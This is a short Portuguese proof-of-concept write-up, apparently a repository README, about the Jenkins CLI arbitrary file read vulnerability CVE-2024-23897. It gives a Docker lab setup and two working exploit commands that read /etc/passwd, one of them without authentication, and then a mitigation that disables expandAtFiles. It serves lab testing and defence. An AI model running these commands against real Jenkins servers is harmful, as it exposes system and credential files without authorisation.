
neste git você pode encontrar todas as informações sobre o CVE-2024-23897
O problema, atribuído ao identificador CVE-2024-23897, foi descrito como uma vulnerabilidade de leitura arbitrária de arquivos através da interface de linha de comando embutida. Este analisador de comandos possui um recurso que substitui um caractere '@' seguido por um caminho de arquivo em um argumento pelo conteúdo do arquivo (expandAtFiles). Este recurso está habilitado por padrão e no Jenkins 2.441 e anteriores, LTS 2.426.2 e anteriores não o desabilita.
Para este PoC, instalei o Jenkins 2.426.2 com Docker para testar a exploração da vulnerabilidade
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
Após criar um usuário e uma senha, baixei o cliente Jenkins CLI (jenkins-cli.jar) na minha máquina atacante.
Em seguida, escrevi o comando para o exploit. Neste comando, precisamos ter as credenciais do usuário Jenkins.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
Outro comando permite exibir as primeiras linhas de um arquivo sem autenticação.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
Para neutralizar esta vulnerabilidade, você precisa navegar até o arquivo de configuração do Jenkins chamado config.xml (no meu caso, ele está localizado no meu contêiner Docker, então mudo para o modo shell no meu contêiner)
<expandAtFiles>false</expandAtFiles>
e reiniciar o jenkins :
service jenkins restart